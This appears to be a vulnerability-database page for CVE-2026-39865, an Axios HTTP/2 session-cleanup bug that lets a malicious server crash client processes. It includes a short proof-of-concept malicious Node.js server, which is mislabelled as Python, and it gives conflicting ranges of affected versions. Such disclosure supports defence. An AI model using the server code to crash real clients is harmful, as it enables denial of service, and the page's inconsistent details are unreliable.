Security Vulnerability Report
中文
CVE-2026-39865 CVSS 5.9 MEDIUM

CVE-2026-39865

Published: 2026-04-08 15:16:16
Last Modified: 2026-04-27 17:16:43

Description

Axios is a promise based HTTP client for the browser and Node.js. Starting in version 1.13.0 and prior to 1.13.2, Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array. This vulnerability is fixed in 1.13.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios 1.13.0
Axios 1.13.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const http2 = require('http2'); const fs = require('fs'); // Malicious server to trigger concurrent session closure const server = http2.createSecureServer({ key: fs.readFileSync('localhost-privkey.pem'), cert: fs.readFileSync('localhost-cert.pem') }); server.on('stream', (stream, headers) => { // Send response and close immediately to trigger cleanup logic stream.respond({ 'content-type': 'text/html', ':status': 200 }); stream.end('<h1>Hello</h1>'); // Simulate behavior that triggers the race condition in session cleanup stream.close(); }); server.listen(8443);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39865", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:16.210", "lastModified": "2026-04-27T17:16:43.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Starting in version 1.13.0 and prior to 1.13.2, Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array. This vulnerability is fixed in 1.13.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-662"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.13.2", "matchCriteriaId": "1546BD85-261E-477B-B182-68D3B03794CD"}]}]}], "references": [{"url": "https://github.com/axios/axios/commit/0588880ac7ddba7594ef179930493884b7e90bf5", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/releases/tag/v1.13.2", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-qj83-cq47-w5f8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}